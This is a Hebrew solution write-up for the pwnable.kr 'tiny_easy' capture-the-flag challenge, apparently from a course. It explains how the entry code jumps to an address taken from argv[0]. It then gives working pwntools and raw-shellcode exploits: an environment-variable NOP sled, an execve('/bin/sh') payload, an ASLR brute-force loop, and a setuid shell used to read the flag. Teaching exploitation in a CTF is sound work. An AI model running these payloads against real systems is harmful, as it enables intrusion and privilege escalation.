לדלג לתוכן

8.3 בינארי זעיר פתרון

פתרון - בינארי זעיר (tiny_easy)

נעבור על התרגילים לפי הסדר. הקו המנחה: כל האתגר הוא להבין את מצב התהליך ברגע הכניסה, ואז לנצל את העובדה שהקוד קופץ אל ערך שאנחנו שולטים בו דרך argv[0]. ה-shellcode עצמו יושב בסביבה, וכל מה שנשאר הוא לכוון את הקפיצה אליו.

פתרון תרגיל 1 - סקירה של הבינארי המינימלי

$ file tiny
tiny: ELF 32-bit LSB executable, Intel 80386, statically linked, stripped

$ wc -c tiny
132 tiny

$ checksec --file=tiny
Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE

$ readelf -h tiny | grep Entry
  Entry point address:               0x8048054

$ readelf -l tiny
Program Headers:
  Type   Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD   0x000000 0x08048000 0x08048000 0x00084 0x00084 RWE 0x1000

שלושה דברים חשובים: הבינארי זערורי (132 בתים), יש מקטע LOAD יחיד בהרשאות RWE, ו-NX disabled.

למה ה-NX מכובה בלי שביקשנו: בפלט של readelf -l אין מקטע GNU_STACK. כשהמקטע הזה חסר, הkernel של לינוקס נופל להתנהגות READ_IMPLIES_EXEC - כל דף קריא הופך גם לניתן להרצה, כולל המחסנית. זה בדיוק מה שמאפשר לנו להריץ shellcode מהסביבה בהמשך. הכתובת 0x8048054 היא בדיוק 0x08048000 (בסיס הטעינה) ועוד 0x54 (52 בתים כותרת ELF ועוד 32 בתים כותרת תוכנית) - הקוד מתחיל מיד אחרי הכותרות, בלי שום אתחול.

פתרון תרגיל 2 - פירוק הקוד ומעקב אחרי eax

$ objdump -d tiny

08048054 <.text>:
 8048054:  58        pop    %eax
 8048055:  58        pop    %eax
 8048056:  8b 00     mov    (%eax),%eax
 8048058:  ff e0     jmp    *%eax

מעקב אחרי eax, עם מפת המחסנית בכניסה (esp מצביע על argc):

esp -> argc, esp+4 -> argv[0], esp+8 -> argv[1], ...

pop eax        ; eax = argc          ; esp advances to argv[0]
pop eax        ; eax = argv[0]       ; points to the program name string
mov eax,[eax]  ; eax = *(argv[0])    ; the first four bytes of the program name
jmp eax        ; jump to this address

התשובה לשאלה 3: ההוראה האחרונה קופצת לכתובת שהיא ארבעת הבתים הראשונים של מחרוזת שם התוכנית. הערך מגיע ישירות מ-argv[0], ובזה אנחנו שולטים לגמרי.

בהרצה רגילה:

pwndbg> starti
pwndbg> ni
pwndbg> ni
pwndbg> ni      # after mov eax,[eax]
pwndbg> p/x $eax
$1 = 0x69742e2e     # "./ti" - the first four bytes of "./tiny"
pwndbg> ni          # the jmp eax
Program received signal SIGSEGV, ... 0x69742e2e in ?? ()

הקריסה ב-eip = 0x69742e2e היא בדיוק ./ti בקידוד little-endian. זה מאשר: יעד הקפיצה נקבע לגמרי משם התוכנית.

למה זה חשוב: זו לא קריסה "אקראית". זו קריסה על רגיסטר שאנחנו שולטים בערכו. אם נחליף את שם התוכנית לכתובת שנבחר, נקפוץ לשם.

פתרון תרגיל 3 - מצב התהליך בכניסה ב-gdb

pwndbg> starti
pwndbg> x/8x $esp
0xffffd6a0:  0x00000001  0xffffd8b4  0x00000000  0xffffd8c9
0xffffd6b0:  0xffffd8f0  0x00000000  ...

pwndbg> x/s 0xffffd8b4      # argv[0]
0xffffd8b4:  "/home/.../tiny"

pwndbg> x/s 0xffffd8c9      # envp[0]
0xffffd8c9:  "..."

הערך הראשון ב-esp הוא argc = 1. אחריו argv[0] = 0xffffd8b4 (מצביע למחרוזת שם התוכנית), אחריו NULL שסוגר את מערך argv, ואחריו מצביעי envp. כשמכניסים משתנה סביבה מזהה ומחפשים אותו:

pwndbg> search -s "BBBBCCCC"
[stack] 0xffffd950 'BBBBCCCC'

הוא יושב גבוה על המחסנית, בראש, יחד עם שאר מחרוזות הסביבה. זה בדיוק מה שההרצאה תיארה, ובדיוק המקום שבו נשתיל את ה-shellcode.

למה זה חשוב: אישרנו בעיניים שמחרוזות הסביבה יושבות בכתובת יציבה בראש המחסנית (כש-ASLR כבוי), ושיש שם מספיק מרחב למזחלת גדולה ול-shellcode.

פתרון תרגיל 4 - השתלת shellcode בסביבה וכיוון הקפיצה (מקומי)

מוצאים כתובת בתוך המזחלת ב-gdb, ואז מפעילים עם argv[0] נשלט:

#!/usr/bin/env python3
from pwn import *

context.clear(arch='i386')

sc = asm(shellcraft.i386.linux.sh())          # execve("/bin/sh", 0, 0)
env = {'PWN': b'\x90' * 0x10000 + sc}          # giant nopsled + shellcode

target = 0xffffd800                            # address deep inside the nopsled (from gdb)

p = process(['./tiny'], executable='./tiny',
            argv=[p32(target)], env=env)        # argv[0] = the address
p.sendline(b'id')
print(p.recvline())
p.interactive()

איך מצאנו את target: מריצים פעם עם gdb.attach (או starti ב-gdb), ומחפשים את המזחלת:

pwndbg> search -s "\x90\x90\x90\x90\x90\x90\x90\x90"
[stack] 0xffffd7e0 '\x90\x90\x90...'

בוחרים כתובת בטוחה עמוק בתוך הטווח, למשל 0xffffd800. עם ASLR כבוי זה יעבוד יציב ונקבל:

$ python3 exploit.py
uid=1000(...) ...
$ whoami

למה זה עבד: הקוד עשה mov eax,[eax] על המצביע argv[0], קיבל את 0xffffd800, וקפץ לשם. הכתובת נחתה בתוך המזחלת שבסביבה, המעבד החליק על ה-nop-ים עד ה-shellcode, וזה רץ. המחסנית ניתנת להרצה בזכות היעדר GNU_STACK, אז אין SIGSEGV בקפיצה.

איך להכליל: כל אימת שאתם שולטים בערך שהתוכנית קופצת אליו, ויש לכם איפה לשים shellcode במרחב קריא-והרצה, המשחק זהה - מכוונים את הקפיצה אל ה-shellcode.

פתרון תרגיל 5 - התמודדות עם ASLR ולולאת brute force

מדליקים ASLR (echo 2 | sudo tee /proc/sys/kernel/randomize_va_space) - וההרצה הבודדת מפספסת, כי המחסנית זזה. הפתרון: אותה כתובת ניחוש קבועה, בלולאה:

#!/usr/bin/env python3
from pwn import *

context.clear(arch='i386')
context.log_level = 'error'          # quiet during the brute force

sc = asm(shellcraft.i386.linux.sh())
env = {'PWN': b'\x90' * 0x10000 + sc}
target = 0xffffd800                  # fixed guess inside the nopsled range

for attempt in range(4000):
    p = process(['./tiny'], executable='./tiny',
                argv=[p32(target)], env=env)
    try:
        p.sendline(b'echo HIT; id')
        line = p.recvline(timeout=0.3)
        if b'HIT' in line:
            log.success('landed after %d tries', attempt)
            p.interactive()
            break
    except EOFError:
        pass
    p.close()

בפועל זה נופל אחרי כמה מאות ניסיונות, בשניות. הגדלת המזחלת (למשל ל-0x40000) מורידה את מספר הניסיונות עוד יותר.

למה זה עבד: ASLR מגריל את בסיס המחסנית בכל הרצה, אבל האנטרופיה ב-32 ביט נמוכה, והמזחלת שלנו ענקית. בסופו של דבר, באחת ההרצות, המזחלת מתפרשת מעל הכתובת 0xffffd800 שקיבענו, הקפיצה נוחתת בתוכה, וה-shellcode רץ.

איך להכליל: brute force מול ASLR חלש הוא כלי לגיטימי ומהיר. מזחלת גדולה + כתובת קבועה + לולאה מנצחים כמעט תמיד ב-32 ביט. ב-64 ביט האנטרופיה גבוהה מדי לגישה הזו, ושם צריך leak של כתובת.

פתרון תרגיל 6 - פיצוח tiny_easy האמיתי על השרת

מתחברים, מעתיקים, ומאשרים שהמנגנון זהה:

$ ssh tiny_easy@pwnable.kr -p2222
$ cd /tmp && mkdir m_$RANDOM && cd $_
$ cp ~/tiny_easy .
$ objdump -d tiny_easy      # confirms pop/pop/mov/jmp on eax

אם pwntools זמין, אותו סקריפט מתרגיל 5 עובד, רק שמכוונים אותו לבינארי ./tiny_easy. אם pwntools לא זמין על השרת, כותבים עטיפה קצרה ומריצים בלולאת shell:

#!/usr/bin/env python3
# wrap.py
import os, struct

target = 0xffffd800
sc = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
      b"\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80")  # execve("/bin/sh")
env = {'PWN': b'\x90' * 0x10000 + sc}
argv = [struct.pack('<I', target)]

os.execve('./tiny_easy', argv, env)
$ while true; do python3 wrap.py 2>/dev/null; done
$ id
uid=1017(tiny_easy) euid=1018(tiny_easy_pwn) ...
$ cat flag

ברגע שנפתח shell, cat flag מדפיס את הדגל. ה-shell רץ עם ה-euid של המשתמש המיוחס בזכות ביט ה-setuid של הבינארי, ולכן מותר לו לקרוא את flag.

למה זה עבד: המנגנון על השרת זהה למקומי - הקוד קופץ אל ארבעת הבתים הראשונים של argv[0], אנחנו שמים שם כתובת בתוך מזחלת ה-shellcode שבסביבה, וה-ASLR מנוטרל בעזרת הלולאה. ההבדל היחיד מהמקומי הוא שכאן הפרס הוא קובץ flag אמיתי בהרשאות מיוחסות.

איך להכליל: זו התבנית המלאה של אתגר setuid ב-pwnable.kr - קוראים/מפרקים את הבינארי, משחזרים מקומית, מפתחים exploit יציב, ומריצים על השרת כדי לקרוא את הדגל. tiny_easy מיוחד בכך שהחולשה כולה חבויה במצב הכניסה של התהליך, לא בקוד "אמיתי".

פתרון תרגיל 7 - להכליל את מה שלמדנו

  1. מדוע ELF מינימלי נותן מחסנית ניתנת להרצה. קומפיילרים מודרניים תמיד מוסיפים מקטע GNU_STACK עם דגל RW (בלי E), שאומר לkernel להשאיר את המחסנית לא-ניתנת-להרצה. בינארי מינימלי שנבנה ביד מדלג על המקטע הזה, והkernel נופל ל-READ_IMPLIES_EXEC הישן שהופך כל דף קריא לניתן להרצה. אילו הבינארי היה כולל GNU_STACK עם RW בלבד, ה-shellcode בסביבה היה מקבל SIGSEGV בקפיצה, והיינו צריכים ROP או ret2libc במקום shellcode.

  2. מקורות קלט מוקדמים נוספים. בבינארי כזה, כל מה שהkernel שם על המחסנית בכניסה הוא בשליטה חלקית שלנו: argv (מספר וארגומנטים ותוכנם), envp (מספר משתני הסביבה, שמותיהם וערכיהם), וגם היסטים שנגזרים מהאורכים שלהם. גם argv[0] וגם משתני סביבה הם קלט "לפני main" שהתוקף קובע דרך execve. auxv נקבע על ידי הkernel ופחות נשלט.

  3. מדוע shellcode בסביבה ולא ב-argv[0]. argv[0] חייב שארבעת הבתים הראשונים שלו יהיו כתובת הקפיצה, אז הם "תפוסים". אפשר היה לשרשר shellcode מיד אחרי ארבעת הבתים, אבל אז היינו צריכים לקפוץ אל תוך argv[0] עצמו - כתובת פחות יציבה ופחות נוחה לחישוב, ובלי מקום נדיב למזחלת. משתנה סביבה נותן לנו גוש רציף וגדול בראש המחסנית, שבו אפשר לשים מזחלת ענקית ו-shellcode בלי להתנגש בכתובת הקפיצה. זו הפרדת תפקידים נקייה: argv[0] מחזיק את הכתובת, הסביבה מחזיקה את הקוד.